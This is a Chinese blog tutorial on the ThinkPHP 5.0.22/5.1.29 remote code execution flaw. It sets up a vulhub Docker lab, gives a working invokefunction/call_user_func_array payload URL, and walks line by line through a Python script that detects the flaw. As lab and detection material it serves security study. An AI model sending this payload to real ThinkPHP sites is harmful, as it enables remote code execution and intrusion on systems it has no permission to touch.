Python武器库开发-武器库篇之Thinkphp5-5.0.22/5.1.29远程执行代码漏洞 (六十五)

Python武器库开发-武器库篇之Thinkphp5-5.0.22/5.1.29远程执行代码漏洞 (六十五)

漏洞环境搭建

这里我们使用Kali虚拟机安装docker并搭建vulhub靶场来进行ThinkPHP漏洞环境的安装,我们进入 ThinkPHP漏洞环境,可以 cd ThinkPHP,然后通过 ls 查看可以搭建的靶场,目前 vulhub关于 ThinkPHP漏洞。可以搭建的靶场有五个。我们拿 5-rce 漏洞举例,如果我们想要安装 5-rce 漏洞环境,可以 cd 到 5-rce ,然后输入以下命令启动靶场环境:

python 复制代码
docker-compose up -d

然后我们在浏览器输入 https://localhost:8082 就可以访问靶场环境

Thinkphp5-5.0.22/5.1.29远程执行代码漏洞原理

ThinkPHP是一款流行的PHP开发框架,用于快速开发Web应用程序。在ThinkPHP 5.0.22和5.1.29版本中存在一个远程执行代码的漏洞,其中5.0.22版本中已经修复了这个漏洞。

该漏洞的原理是由于未正确过滤用户输入,导致攻击者可以构造恶意的请求,执行任意的PHP代码。具体来说,该漏洞涉及到ThinkPHP的路由函数中的一处代码处理逻辑,攻击者可以通过构造特定的URL请求,在路由函数中绕过正则表达式的限制,进而执行任意的PHP代码。

攻击者可以利用该漏洞来执行恶意的代码,例如删除、修改或者获取敏感数据,以及执行一些恶意操作,例如植入后门,上传恶意文件等。

Thinkphp5-5.0.22/5.1.29远程执行代码漏洞POC

接下来我们给出ThinkPHP 5.0.23-RCE漏洞的POC,代码内容如下:

python 复制代码
http://localhost:8082/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo

Thinkphp5-5.0.22/5.1.29远程执行代码漏洞POC编写

现在我们用python编写检测Thinkphp5-5.0.22/5.1.29远程执行代码漏洞的代码,内容如下:

python 复制代码
#!/usr/bin/env python

import requests
from urllib.parse import urljoin

def thinkphp5x_rce(url):
    poc = r'''/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=handsomewuyue'''
    payload = urljoin(url,poc)
    response = requests.get(url=payload,verify=False)
    if '31664625b85cc0cf91406a4e028ede29' in response.text:
        print('漏洞存在')
    else:
        print('漏洞不存在')

if __name__ == '__main__':
    url = 'http://localhost:8082/'
    thinkphp5x_rce(url)

POC代码详细分析

以上代码是一个Python脚本,主要用于检测ThinkPHP 5.x版本中的一个远程代码执行(RCE)漏洞。下面对代码进行详细分析:

  1. #!/usr/bin/env python:指定脚本使用的解释器为Python。

  2. import requests:导入requests模块,用于发送HTTP请求。

  3. from urllib.parse import urljoin:导入urljoin函数,用于拼接URL。

  4. def thinkphp5x_rce(url)::定义一个名为thinkphp5x_rce的函数,接受一个参数url

  5. poc =r'''/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=handsomewuyue''':定义一个名为poc的变量,存储一个URL路径,该路径会触发ThinkPHP5.x版本中的RCE漏洞。

  6. payload = urljoin(url,poc):使用urljoin函数拼接urlpoc,生成完整的URL。

  7. response =requests.get(url=payload,verify=False):使用requests.get发送GET请求,传递生成的完整URL作为参数,并且关闭SSL验证。

  8. if '31664625b85cc0cf91406a4e028ede29' in response.text::检查response.text中是否包含特定的字符串31664625b85cc0cf91406a4e028ede29

  9. print('漏洞存在'):如果特定字符串存在,则输出"漏洞存在"。

  10. else::如果特定字符串不存在。

  11. print('漏洞不存在'):输出"漏洞不存在"。

  12. if __name__ == '__main__'::判断当前模块是否作为主程序运行。

  13. url = 'http://localhost:8082/':定义一个名为url的变量,存储目标URL地址。

  14. thinkphp5x_rce(url):调用thinkphp5x_rce函数,并传递url作为参数。

运行效果图

如下是我们这串代码的实际运行效果图:

相关推荐
时光の尘10 分钟前
C语言菜鸟入门·关键字·float以及double的用法
运维·服务器·c语言·开发语言·stm32·单片机·c
以后不吃煲仔饭24 分钟前
Java基础夯实——2.7 线程上下文切换
java·开发语言
进阶的架构师25 分钟前
2024年Java面试题及答案整理(1000+面试题附答案解析)
java·开发语言
huaqiwangan27 分钟前
电子远勘在侦查中有什么作用?
网络安全
前端拾光者29 分钟前
利用D3.js实现数据可视化的简单示例
开发语言·javascript·信息可视化
程序猿阿伟31 分钟前
《C++ 实现区块链:区块时间戳的存储与验证机制解析》
开发语言·c++·区块链
傻啦嘿哟1 小时前
如何使用 Python 开发一个简单的文本数据转换为 Excel 工具
开发语言·python·excel
大数据编程之光1 小时前
Flink Standalone集群模式安装部署全攻略
java·大数据·开发语言·面试·flink
初九之潜龙勿用1 小时前
C#校验画布签名图片是否为空白
开发语言·ui·c#·.net
B站计算机毕业设计超人1 小时前
计算机毕业设计SparkStreaming+Kafka旅游推荐系统 旅游景点客流量预测 旅游可视化 旅游大数据 Hive数据仓库 机器学习 深度学习
大数据·数据仓库·hadoop·python·kafka·课程设计·数据可视化